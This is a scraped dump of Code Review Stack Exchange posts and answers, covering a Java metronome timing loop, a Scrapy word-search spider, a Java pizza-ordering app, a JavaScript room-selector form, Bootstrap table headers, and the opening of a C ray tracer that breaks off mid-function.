"body": "@N3buchadnezzar Ok, I've got a pretty full full test suite and it now works fine. I didn't notice you not entering the `day` in replace. It seems like your code fails a significant amount of the time. Can you verify why?"
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T16:15:38.453",
"Id": "249632",
"ParentId": "249629",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249632",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T15:24:16.013",
"Id": "249629",
"Score": "2",
"Tags": [
"python",
"python-3.x",
"datetime"
],
"Title": "Using datetime to obtain the time of the next lecture"
}
|
249629
|
<p>I have coded a tool to produce precise timing events in Java. You set a value in BPM, and you receive events in your listener at the most precise timing it possibly can be with Java.</p>
<p>It is basic. A thread, a loop, read the bpm value, invokes the listener (lambda), compute the time to sleep to match the bpm requested, and go on.</p>
<p>To achieve high precision, I sleep a bit less than calculated, and then have a noop loop that does the fine grain waiting.</p>
<p>It works well enough for my needs (less than 0.01BPM of error more than 95% of the time), but I was curious on how I could enhance it. Specificaly :</p>
<ol>
<li>reduce the cpu usage</li>
<li>reduce the memory footprint</li>
<li>any coding that may permit to reduce the tolerance of the unit tests (see MAX_ERRORS_RATE_ALLOWED and BPM_TOLERANCE) without generating assertion errors</li>
<li>more or less any comment that is relevant to the context</li>
</ol>
<p>The full project (maven) with very few dependencies is here: <a href="https://github.com/sebpiller/metronom" rel="nofollow noreferrer">https://github.com/sebpiller/metronom</a></p>
<p>Here is the loop doing the computation:</p>
<pre><code> // https://github.com/sebpiller/metronom/blob/develop/src/main/java/ch/sebpiller/tictac/TicTac.java
private void loopUntilStopped() {
long n;
int i=0;
while (!stopped) {
// ok, then tick and wait exactly the correct amount of time
n = System.nanoTime(); // memorize last boom
///// Notify of tick
ticTacListener.beat(i++ % 4 != 0, bpm);
// next loop bpm
bpm = bpmSource.getBpm();
if (bpm <= 0) {
// shutdown as soon as the bpm return 0
stopped = true;
} else {
// compute next tick nanos:
long nanosBetweenTicks = (long) (60_000_000_000d / bpm);
/// How much time did we need to sleep until next boom
long sleepNanos = n + nanosBetweenTicks - System.nanoTime() - __JAVA_CORRECTION_NANOS;
if (sleepNanos < 0) {
LOG.warn("missed tic! ({}ns)", sleepNanos);
i++; // erf... let's hope we miss only one tick
} else {
sleepInterrupted(sleepNanos / 1_000_000, (int) (sleepNanos % 1_000_000));
/* Just in case this lady was really early this time...
fine tuning of the slept time: just loop doing nothing until we are close from the goal */
// this is where all the precision is really obtained... this wonderful, but empty loop !
while(System.nanoTime()<n + nanosBetweenTicks) /* no body here! */;
}
}
}
</code></pre>
<p>A parameterized unit test checks the precision of the implementation here, and run the test with various tempo: <a href="https://github.com/sebpiller/metronom/blob/develop/src/test/java/ch/sebpiller/tictac/TicTacTest.java" rel="nofollow noreferrer">https://github.com/sebpiller/metronom/blob/develop/src/test/java/ch/sebpiller/tictac/TicTacTest.java</a> (the test should take about 10 minutes to complete in his current form)</p>
<p>Bonus: any specific advice regarding the execution of this code on an ARM32v7 board (RPi4)</p>
<p>Thank you in advance !</p>
|
[] |
[
{
"body": "<p>First of all, let me clarify that you <em>can't</em> do precise timing on a "normal" desktop or server operating system. You can be close, but the schedulers are not designed for that, you're not guaranteed to get a time slice for execution at all. The smaller your time-slices get, the bigger the error margins will be. The higher the load on the machine will be, the more slices you will miss.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> * Like my girlfriend, Java has some problems to be on time. He is always a bite late.\n</code></pre>\n<p>I'm most likely old and grumpy, but "funny" comments and variable names are a waste of everyones time at the end of the day. That and, if you ever want to use your code as portfolio for a job, or in your job, might cost you. Because when I see that comment, I can deduct a few things:</p>\n<ol>\n<li>The programmer considers it okay to make fun of others in the public.</li>\n<li>The programmer does not know anything about how the JVM works.</li>\n<li>The programmer does not know anything about how the OS scheduler works.</li>\n<li>The programmer does most likely not know anything about the Java ecosystem (Java is used for high-speed trading with stock exchanges, doing trades in the microsecond range).</li>\n</ol>\n<p>Of course, what you do in your private projects is none of my business, but be aware that this comes at a cost in one way or another...and maybe not for you, as others might have to maintain your code at some point.</p>\n<p>And to ask a different question...does your girlfriend know she's a cheap joke on the internet for you?</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>long n;\nint i=0;\n</code></pre>\n<p>These names could be better, a lot better actually.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>long nanosBetweenTicks = (long) (60_000_000_000d / bpm);\n</code></pre>\n<p>This would, do well as a constant.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>__JAVA_CORRECTION_NANOS\n</code></pre>\n<p>Normally, you don't have leading underscores under the Java convention.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>i++; // erf... let's hope we miss only one tick\n</code></pre>\n<p>That is what I was talking about earlier and is a very good example for a completely unhelpful comment. It tells me that the programmer either had no idea what they were doing, or did not care enough to check it.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>while(System.nanoTime()<n + nanosBetweenTicks) /* no body here! */;\n</code></pre>\n<p>I believe that this will not be optimized away because of the <code>System.nanoTime()</code> function call, but I would not bet on it.</p>\n<hr />\n<p>The code is otherwise well formatted, and most of the names are good. I'm not sure about the rest of the logic, it seems oddly complicated for what you describe.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T04:18:56.207",
"Id": "489509",
"Score": "1",
"body": "In general, assigning a gender to a piece of software and then making jokes based on really worn out stereotypes doesn't come out as very considerate in 2020."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T19:42:11.927",
"Id": "249648",
"ParentId": "249633",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T16:24:11.643",
"Id": "249633",
"Score": "3",
"Tags": [
"java"
],
"Title": "Precise timing event dispatching in Java"
}
|
249633
|
<p>Im new to Python and Scrapy and Im trying to write a code that would find if a website contains a specific word in it. I need to scrapy many websites with different layouts so the search is a general one. I would appreciate if you could comment do you see a more efficient way on how to perform this task. Here is my solution:</p>
<pre><code>from scrapy.linkextractors import LinkExtractor
from scrapy.spiders import CrawlSpider, Rule
from .lists_loop import * #used to import list of 'word_to_find'
import re
word_to_find = 'pharmacy'
class TestSpider(CrawlSpider):
name = 'test'
# these are lists of a lot of domains
allowed_domains = strip_url
start_urls = merch_url
rules = (
Rule(LinkExtractor(), callback='parse_item', follow=True),
)
def parse_item(self, response):
# Here I clean up the parsed text not to include /n or whitespace.
words = response.xpath("//a//text()").getall()
cleaned_words = [word.strip() for word in words]
cleaned_words = [word.lower() for word in cleaned_words if len(word) > 0]
# Then I loop through the cleaned_words in order to find a match
for single_word in cleaned_words:
re.search(r'\b%s\b' % word_to_find, single_word)
yield{
'Matching': 'Found the word {} in {}'.format(word_to_find, response.url)
}
else:
pass
</code></pre>
<p>I am stripping the found //a//text() and hence in the end searching each word separately if it matches any of my <code>word_to_find</code> list of words (In this case I just added 1 word for simplicity). Maybe its better to search the whole text string but the problem I encountered is that a lot of times it includes a lot of whitespaces /n symbols etc.</p>
<p>Any advice would be appreciated.</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T17:22:30.277",
"Id": "249638",
"Score": "3",
"Tags": [
"python",
"scrapy"
],
"Title": "Scraping websites for presence of particular words"
}
|
249638
|
<p>I was inspired by a previous post here that also wrote a pizza ordering application. This is the attempt I have made using OOP in mind as I thought that would be just the way to go.</p>
<p>Here is Pizza.java</p>
<pre><code>import java.util.ArrayList;
public class Pizza {
private String size;
private ArrayList<String> toppings;
public String getSize() {
return size;
}
public void setSize(String size) {
this.size = size;
}
public ArrayList<String> getToppings() {
return toppings;
}
public void setToppings(ArrayList<String> toppings) {
this.toppings = toppings;
}
public String toString() {
return this.size + " pizza with " + this.getToppings();
}
}
</code></pre>
<p>Here is PizzaOrder.java</p>
<pre><code>import java.util.ArrayList;
public class PizzaOrder {
private double totalOrderCost;
private final ArrayList<Pizza> pizzas;
public PizzaOrder(ArrayList<Pizza> pizzas) {
this.pizzas = pizzas;
}
public void calculateTotalOrderCost() {
final double LARGE_COST = 9.99;
final double MEDIUM_COST = 7.99;
final double SMALL_COST = 5.99;
final double COST_PER_TOPPING = 0.5;
for (Pizza pizza : pizzas) {
switch (pizza.getSize()) {
case "Large":
totalOrderCost += LARGE_COST;
break;
case "Medium":
totalOrderCost += MEDIUM_COST;
break;
case "Small":
totalOrderCost += SMALL_COST;
break;
default:
totalOrderCost += 0.0;
break;
}
int totalToppings = pizza.getToppings().size();
totalOrderCost += totalToppings * COST_PER_TOPPING;
}
}
public double getTotalOrderCost() {
return totalOrderCost;
}
public void printOrderSummary() {
for (Pizza pizza : pizzas) {
System.out.println("Ordered a " + pizza.getSize() + " pizza with " + pizza.getToppings());
}
System.out.println("TOTAL ORDER AMOUNT: " + getTotalOrderCost());
}
}
</code></pre>
<p>Here is the driver of the application</p>
<pre><code>import java.util.Scanner;
import java.util.ArrayList;
public class PizzaOrderDriver {
public static void printWelcomeMessage() {
System.out.println("------------------------------------");
System.out.println("Welcome to the Pizza Order Program!");
System.out.println("------------------------------------");
}
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
printWelcomeMessage();
ArrayList<Pizza> pizzas = new ArrayList<>();
System.out.println("Enter the total pizzas you would like to order: ");
int totalPizzas = scanner.nextInt();
// Reading input regarding pizza size and pizza toppings
for (int i = 0; i < totalPizzas; ++i) {
Pizza pizza = new Pizza();
ArrayList<String> toppings = new ArrayList<>();
String pizzaSize;
System.out.println("Enter the size of the pizza Large, Medium, Small: ");
pizzaSize = scanner.next();
pizza.setSize(pizzaSize);
int totalToppings;
System.out.println("Enter the total amount of toppings on the pizza: ");
totalToppings = scanner.nextInt();
for (int j = 0; j < totalToppings; ++j) {
System.out.println("Enter the topping: ");
String topping = scanner.next();
toppings.add(topping);
}
pizza.setToppings(toppings);
pizzas.add(pizza);
}
// Creating PizzaOrder object and relevant information with regards to order
PizzaOrder order = new PizzaOrder(pizzas);
order.calculateTotalOrderCost();
order.printOrderSummary();
// Cleanup
scanner.close();
}
}
</code></pre>
<p>Along with a general review, I would like some ideas on how to extend this even further. I know what I have right now is rather very simple.</p>
<p>Thank you for reviewing my code.</p>
|
[] |
[
{
"body": "<pre class=\"lang-java prettyprint-override\"><code>private String size;\n</code></pre>\n<p>Could be an <code>Enum</code> instead, or a class. Both could also hold their costs.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>private ArrayList<String> toppings;\n</code></pre>\n<p>You should use the most generic interface of your types when declaring them as possible, as this allows to swap out the implementations without having to change everything. In this case it would be <code>List</code>.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>public class Pizza {\n // ...\n}\n</code></pre>\n<p>You're duplicating data, you don't need to keep track of the number of toppings, the list is already doing that for you. They can easily get out of sync and therefor cause trouble.</p>\n<p>You have a problematic API here, by allowing to set a <code>List</code> directly:</p>\n<ol>\n<li>It will be <code>null</code> if not set.\n2.<code>null</code> can be set.</li>\n<li>The <code>List</code> can be changed outside of the control of the class.</li>\n</ol>\n<p>What would be a more clean solution would be to keep the <code>List</code> of toppings internal, and only expose a method to add (and if needed to remove) toppings. That would greatly simplify your class.</p>\n<pre class=\"lang-java prettyprint-override\"><code>public class Pizza {\n private List<String> toppings = new ArrayList<>();\n\n public String getCount() {\n return toppings.size();\n }\n \n public Pizza addTopping(String topping) {\n toppings.add(topping);\n \n return this;\n }\n \n public String toString() {\n return toppings.length() + " pizza with " + toppings;\n }\n}\n</code></pre>\n<p>Note that <code>toppings.toString()</code>, as it will be called for <code>String</code> concatenation, will not output the toppings at all.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>totalOrderCost += totalToppings * COST_PER_TOPPING\n</code></pre>\n<p>Always remember that <code>+=</code> is not shorthand for <code>a = a + b</code> but for <code>a = (TYPE_A)(a + b)</code>. So it might silently truncate data.</p>\n<hr />\n<p>You could rewrite the <code>PizzaOrder</code> according to the same changes as for <code>Pizza</code> to add <code>Pizza</code>s to the order, like this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>PizzaOrder pizzaOrder = new PizzaOrder();\npizzaOrder.add(createPizzaWithToppings());\npizzaOrder.add(createPizzaWithToppings());\npizzaOrder.add(createPizzaWithToppings());\n\nSystemm.out.println(pizza.getTotalOrderCost());\n</code></pre>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> String pizzaSize;\n System.out.println("Enter the size of the pizza Large, Medium, Small: ");\n pizzaSize = scanner.next();\n</code></pre>\n<p>Just declare the variable on the same line as assigning it.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T18:58:10.640",
"Id": "489480",
"Score": "0",
"body": "Thanks for the advice in this review! I will be sure to implement these changes. Do you have any suggestions on how to extend this further?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T19:10:45.893",
"Id": "489484",
"Score": "0",
"body": "Well, user input should be put into its own class. There should be an interface for that, so that the order can come from anywhere, as long as the interface is implemented. None of these classes should be concerned with their representation, that should be its own class, too. Then stop using doubles. And finally, all the prices and sizes should come from a configuration source, instead of being hardcoded. You can blow this up to a whole framework about ordering pizzas."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T18:49:45.160",
"Id": "249643",
"ParentId": "249640",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T17:55:44.210",
"Id": "249640",
"Score": "4",
"Tags": [
"java",
"object-oriented"
],
"Title": "Simple Pizza Ordering Application in Java"
}
|
249640
|
<p>I have the following HTML + JavaScript code:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-html lang-html prettyprint-override"><code><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous">
<div class="container mt-4">
<!-- action="/reports_send/21-TEMP-01a" method="POST" -->
<h3>Form:</h3>
<form id="form" class="mt-4 mb-4" >
<div style="border: 1px solid black; padding: 40px; border-radius: 25px;">
<div class="container mt-4">
<div id="errors" class="mt-4"></div>
</div>
<h4>Select Room</h4>
<div id="RoomSelect">
<select id="RoomMenu" class="form-control mb-4">
<!-- Drying Room 1 -->
<option value="dry-1">Drying Room 1</option>
<!-- Drying Room 2 -->
<option value="dry-2">Drying Room 2</option>
<!-- Dry Store-->
<option value="dry-3">Dry Store</option>
</select>
</div>
<div id="RoomInputs">
<!-- Drying Room 1 -->
<div class="form-group" id="dry-1">
<!-- Title -->
<h4>Drying Room 1</h4>
<!-- All temperatures -->
<div class="temperatures">
<!-- Actual Temperature -->
<label>Temperature °C - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actual-temp-1">
<!-- Minimum Temperature -->
<label>Temperature °C - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="min-temp-1">
<!-- Maximum Temperature -->
<label>Temperature °C - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="max-temp-1">
</div>
<br>
<br>
<!-- All humidity -->
<div class="humidity">
<!-- Actual Humidity -->
<label>Relative Humidity - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actual-temp-2">
<!-- Minimum Humidity -->
<label>Relative Humidity - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="min-temp-2">
<!-- Maximum Humidity -->
<label>Relative Humidity - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="max-temp-2">
</div>
</div>
<!-- Drying Room 2 -->
<div class="form-group" id="dry-2">
<!-- Title -->
<h4>Drying Room 2</h4>
<!-- All temperatures -->
<div class="temperatures">
<!-- Actual Temperature -->
<label>Temperature °C - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actual-temp-3">
<!-- Minimum Temperature -->
<label>Temperature °C - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="min-temp-3">
<!-- Maximum Temperature -->
<label>Temperature °C - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="max-temp-3">
</div>
<br>
<br>
<!-- All humidity -->
<div class="humidity">
<!-- Actual Humidity -->
<label>Relative Humidity - <strong>Actual</strong></label>
<input type="number" class="form-control">
<!-- Minimum Humidity -->
<label>Relative Humidity - <strong>Minimum</strong></label>
<input type="number" class="form-control">
<!-- Maximum Humidity -->
<label>Relative Humidity - <strong>Maximum</strong></label>
<input type="number" class="form-control">
</div>
</div>
<!-- Dry Store -->
<div class="form-group" id="dry-3">
<!-- Title -->
<h4>Dry Store</h4>
<!-- All temperatures -->
<div class="temperatures">
<!-- Actual Temperature -->
<label>Temperature °C - <strong>Actual</strong></label>
<input type="number" class="form-control">
<!-- Minimum Temperature -->
<label>Temperature °C - <strong>Minimum</strong></label>
<input type="number" class="form-control">
<!-- Maximum Temperature -->
<label>Temperature °C - <strong>Maximum</strong></label>
<input type="number" class="form-control">
</div>
<br>
<br>
<!-- All humidity -->
<div class="humidity">
<!-- Actual Humidity -->
<label>Relative Humidity - <strong>Actual</strong></label>
<input type="number" class="form-control">
<!-- Minimum Humidity -->
<label>Relative Humidity - <strong>Minimum</strong></label>
<input type="number" class="form-control">
<!-- Maximum Humidity -->
<label>Relative Humidity - <strong>Maximum</strong></label>
<input type="number" class="form-control">
</div>
</div>
</div>
</div>
</form>
</div>
<button id="submit-btn" class="btn btn-primary">Submit</button>
<script>
// UI CONTROLLER
var UIController = (() => {
// Store DOM Strings
var DOMStrings = {
room_options: '#RoomMenu',
btn: '#submit-btn'
};
return {
// Hide all Div Elements
hideDivElements: () => {
console.log(document.querySelector(DOMStrings.room_options).value);
for(const option of document.querySelector(DOMStrings.room_options).options) {
document.querySelector(`#${option.value}`).style.display = "none";
}
if(document.querySelector(DOMStrings.room_options).value === 'dry-1') {
document.querySelector('#dry-1').style.display = "block";
} else if (document.querySelector(DOMStrings.room_options).value === 'dry-2') {
document.querySelector('#dry-2').style.display = "block";
} else if (document.querySelector(DOMStrings.room_options).value === 'dry-3') {
document.querySelector('#dry-3').style.display = "block";
}
},
// Return DOM Strings
getDOMStrings: () => {
return DOMStrings;
}
}
})();
// GLOBAL APP CONTROLLER
var controller = ((UICtrl) => {
var setupEvenetListeners = () => {
// Get dom strings from UI Controller
var DOM = UICtrl.getDOMStrings();
// On change
document.querySelector(DOM.room_options).addEventListener('change', () => {
UICtrl.hideDivElements();
});
}
return {
init: () => {
console.log("Application has started");
UICtrl.hideDivElements(); // Hide elements at start of program
setupEvenetListeners();
}
}
})(UIController);
controller.init();
</script></code></pre>
</div>
</div>
</p>
<p><strong>Question</strong></p>
<p>In my if statement - I am showing specific elements based on selected option. I was wondering, If there is a way not to hard code <code>dry-1</code> <code>dry-2</code> <code>dry-3</code> within my <code>if</code> statement and have an alternative way of doing it?</p>
<p>Also - I wouldn't mind to hear some reviews on my current code :) I have decided to start getting used to using controllers etc..</p>
|
[] |
[
{
"body": "<p><strong>Options</strong> Rather than repeatedly selecting the <code>room_options</code> value, put it into a variable, then reference that variable:</p>\n<pre><code>const { value } = document.querySelector(DOMStrings.room_options);\n// reference value here\n// instead of referencing document.querySelector(DOMStrings.room_options).value\n</code></pre>\n<p>But, since the option values exactly match the IDs you want to show, simply pass the option value into a single <code>querySelector</code>, no looping needed:</p>\n<pre><code>const { value } = document.querySelector(DOMStrings.room_options);\ndocument.querySelector(`#${value}`).style.display = "block";\n</code></pre>\n<p><strong>Comments</strong> You have</p>\n<pre><code><!-- All humidity -->\n<div class="humidity">\n <!-- Actual Humidity -->\n <label>Relative Humidity - <strong>Actual</strong></label>\n <input type="number" class="form-control">\n <!-- Minimum Humidity -->\n <label>Relative Humidity - <strong>Minimum</strong></label>\n <input type="number" class="form-control">\n <!-- Maximum Humidity -->\n <label>Relative Humidity - <strong>Maximum</strong></label>\n <input type="number" class="form-control">\n</div>\n</code></pre>\n<p>These sorts of comments don't tell the reader anything they wouldn't know already by looking at the next line. Best to leave the comments out entirely. Use comments to explain <em>why</em> you're doing something, or what the purpose of a variable or section is <em>if it's not already obvious</em>.</p>\n<p><strong>Variable names</strong></p>\n<ul>\n<li><code>hideDivElements</code> hides elements, but it also shows the one active element. Maybe call it <code>showActiveElement</code> instead?</li>\n<li><code>setupEvenetListeners</code> is misspelled</li>\n<li><code>var DOM = UICtrl.getDOMStrings();</code> - but the return value is a plain object, not a/the DOM. For consistency, maybe call it the same name everywhere, <code>DOMStrings</code>.</li>\n<li>The property <code>room_options</code> holds the selector string <code>#RoomMenu</code>, which points to a single <code><select></code> tag, not a collection of options. Maybe call the property <code>roomSelectId</code> instead? (Probably good to follow the usual conventions and use <code>camelCase</code> in most cases in JS)</li>\n</ul>\n<p><strong>DOMStrings and encapsulation</strong> I'm a bit skeptical of the DOMStrings object in its current form - an object which just contains strings that can be used to select elements doesn't feel all that beneficial to me. You might consider selecting the elements themselves, and exporting that instead of selector strings:</p>\n<pre><code>const elements = {\n roomSelect: document.querySelector('#RoomMenu'),\n // below: be precise, `submitBtn` is easier to understand than just `btn`\n submitBtn: document.querySelector('#submit-btn'),\n};\n</code></pre>\n<p>Still, attempting encapsulation and abstraction like this is a bit weird on the front-end when all elements are essentially global. The HTML is intrinsicly coupled with your JS (and usually, your CSS as well). If you change something in one place, you'll have to change it everywhere. It looks like your <code>DOMStrings</code> might be an attempt to slightly mitigate this, so as to allow you to just change a DOMString when something needs to be changed, rather than search-and-replace throughout your application.</p>\n<p>It'd be a big change, but if that's the sort of thing you're concerned about, for a larger application, you could consider experimenting with a framework like React instead, allowing for better encapsulation and functional composition of components. For example, this application could be rendered with something like the following:</p>\n<pre><code><Rooms roomNames={['Drying Room 1', 'Drying Room 2', 'Dry Store']} />\n</code></pre>\n<p>leading to a Room component containing the labels and inputs, <em>without</em> duplicating new HTML for each section, and without having to specify magic strings connecting the DOM to event listeners. It's just something to consider, once you're comfortable with JS.</p>\n<p><strong>Modern syntax</strong> If you're going to use ES2015+ syntax (which you are, and you should), best to use it everywhere - declare variables with <code>const</code> <a href=\"https://softwareengineering.stackexchange.com/questions/278652/how-much-should-i-be-using-let-vs-const-in-es6\">whenever possible</a> (and never with <code>var</code>). (But, if you want the code to be compatible with ancient obsolete browsers like IE11, transpile it to ES5 using Babel for production)</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T19:35:35.873",
"Id": "249646",
"ParentId": "249642",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249646",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T18:33:20.183",
"Id": "249642",
"Score": "1",
"Tags": [
"javascript",
"html"
],
"Title": "UI & Global Controller to hide `div` element based on `selected` option?"
}
|
249642
|
<p>I would like to create a table where each column header contains a column name and a sort symbol.
To do this, I'm using bootstrap.
You can see my code below:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>.glyphicon-menu-down,
.glyphicon-menu-up {
display: block!important;
font-size: 9px;
}
th {
background-color: #0C69E8;
}
th {
color: white;
}
th .align {
display: flex;
align-items: center;
}
.pointer {
cursor: pointer;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><div class="container" align="center">
<table class="table">
<thead>
<tr>
<th scope="col">#</th>
<th scope="col" class="pointer">
<div style="float:left; margin-right:10px;">First</div>
<div>
<div id="up" class="glyphicon glyphicon-menu-up"></div>
<div id="down" class="glyphicon glyphicon-menu-down"></div>
</div>
</th>
<th scope="col" class="pointer">
<div class="align">
<div style="margin-right:10px">Last</div>
<div class="glyphicon glyphicon-menu-up">
<div class="glyphicon glyphicon-menu-down"></div>
</div>
</div>
</th>
<th scope="col" class="pointer">
<div class="align">
<div style="margin-right:10px">Handle</div>
<div class="glyphicon glyphicon-menu-up">
<div class="glyphicon glyphicon-menu-down"></div>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">1</th>
<td>Mark</td>
<td>Otto</td>
<td>@mdo</td>
</tr>
<tr>
<th scope="row">2</th>
<td>Jacob</td>
<td>Thornton</td>
<td>@fat</td>
</tr>
<tr>
<th scope="row">3</th>
<td>Larry</td>
<td>the Bird</td>
<td>@twitter</td>
</tr>
</tbody>
</table>
</div>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css"></code></pre>
</div>
</div>
</p>
<p>My solution is to use a display flex on the headers column and 2 bootstrap glyphicons. If I don't use a flex display, the elements are not on the same line.
I think my solution is not really clean so if someone had a better solution, I'll take it.
Could someone give me his opinion on the code?</p>
<p>Thanks for any help</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T19:54:16.223",
"Id": "249650",
"Score": "2",
"Tags": [
"css",
"twitter-bootstrap"
],
"Title": "CSS Content Flex"
}
|
249650
|
<p>In the past I had followed the <em>Ray Tracing in a Weekend</em> books using C++ because that was what the book used. However, recently I started thinking about how hard it would be to implement using C and whether I could do it. As a result I set a goal for implementing it using only C and I was able to mostly accomplish that, except for 1 file written in C++.</p>
<p>Compile with GCC, with extensions enabled (e.g. <code>gcc -std=gnu11</code>).</p>
<p><code>ray_trace.c</code></p>
<pre><code>/* standard headers */
#include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include <float.h>
#include <time.h>
/* SDL2 headers */
#include <SDL2/SDL.h>
/* common project headers */
#include "types.h"
#include "vec.h"
#include "ray_trace.h"
/* constants */
#define ASPECT_RATIO (1.0f)
enum { WIDTH = 600, HEIGHT = (i32)(WIDTH / ASPECT_RATIO) };
enum { SAMPLES_PER_PIXEL = 1000 };
/* main project headers */
#include "ray.h"
#include "camera.h"
#include "texture.h"
#include "aabb.h"
#include "hittable.h"
#include "material.h"
#include "hittable_list.h"
#include "sphere.h"
#include "moving_sphere.h"
#include "aarect.h"
#include "box.h"
#include "constanst_medium.h"
#include "bvh.h"
internal float3 ray_color(ray const *r, float3 background, hittable const *world, i32 depth)
{
hit_record rec;
/* if we have exceeded the ray bounce limit, no more light is gathered. */
if(depth <= 0)
return 0.0f;
/* if we hit something */
if (!world->vtable->hit(world, r, 0.001f, FLT_MAX, &rec))
return background;
ray scattered;
float3 emitted = rec.mat_ptr->vtable->emitted(rec.mat_ptr, rec.uv, rec.p);
float3 attenuation;
if(!rec.mat_ptr->vtable->scatter(rec.mat_ptr, r, &rec, &attenuation, &scattered))
return emitted;
return emitted + attenuation * ray_color(&scattered, background, world, depth - 1);
}
internal hittable *random_scene(void)
{
hittable *world = new(hittable_list);
/* preallocate memory for the world */
hittable_list_reserve(world, 22 * 22);
texture *checker = new_checker_texture((float3){0.2f, 0.3f, 0.1f}, 0.9f);
material *material_ground = new_lambertian(checker);
hittable_list_add(world, new(sphere, (float3){0, -1000, -1}, 1000, material_ground));
for(i32 a = -11; a < 11; ++a)
{
for(i32 b = -11; b < 11; ++b)
{
float choose_mat = randomf();
float3 center = {a + 0.9f * randomf(), 0.2f, b + 0.9f * randomf()};
if(length(center - (float3){4, 0.2f, 0}) > 0.9f)
{
/* diffuse */
if(choose_mat < 0.8f)
{
float3 albedo = randomf3() * randomf3();
material *sphere_material = new_lambertian(albedo);
hittable_list_add(world, new(sphere, center, 0.2f, sphere_material));
}
/* metal */
else if(choose_mat < 0.95f)
{
float3 albedo = randomf3(0.5f, 1.0f);
float fuzz = randomf(0.0f, 0.5f);
material *sphere_material = new_metal(albedo, fuzz);
hittable_list_add(world, new(sphere, center, 0.2f, sphere_material));
}
/* glass */
else
{
material *sphere_material = new_dielectric(1.5f);
hittable_list_add(world, new(sphere, center, 0.2f, sphere_material));
}
}
}
}
material *material1 = new_dielectric(1.5f);
hittable_list_add(world, new(sphere, (float3){0, 1, 0}, 1.0f, material1));
material *material2 = new_lambertian((float3){0.4f, 0.2f, 0.1f});
hittable_list_add(world, new(sphere, (float3){-4, 1, 0}, 1.0f, material2));
material *material3 = new_metal((float3){0.7f, 0.6f, 0.6f}, 0.0f);
hittable_list_add(world, new(sphere, (float3){4, 1, 0}, 1.0f, material3));
world = new_bvh_node(world, 0, 0);
return world;
}
internal hittable *two_spheres(void)
{
hittable *objects = new(hittable_list);
texture *checker = new_checker_texture((float3){0.2f, 0.3f, 0.1f}, 0.9f);
hittable_list_add(objects, new(sphere, (float3){0, -10, 0}, 10, new_lambertian(checker)));
hittable_list_add(objects, new(sphere, (float3){0, 10, 0}, 10, new_lambertian(checker)));
return objects;
}
internal hittable *two_perlin_spheres(void)
{
hittable *objects = new(hittable_list);
texture *pertext = new_noise_texture(4);
hittable_list_add(objects, new(sphere, (float3){0, -1000, 0}, 1000, new_lambertian(pertext)));
hittable_list_add(objects, new(sphere, (float3){0, 2, 0}, 2, new_lambertian(pertext)));
return objects;
}
internal hittable *simple_light(void)
{
hittable *objects = new(hittable_list);
texture *pertext = new_noise_texture(4);
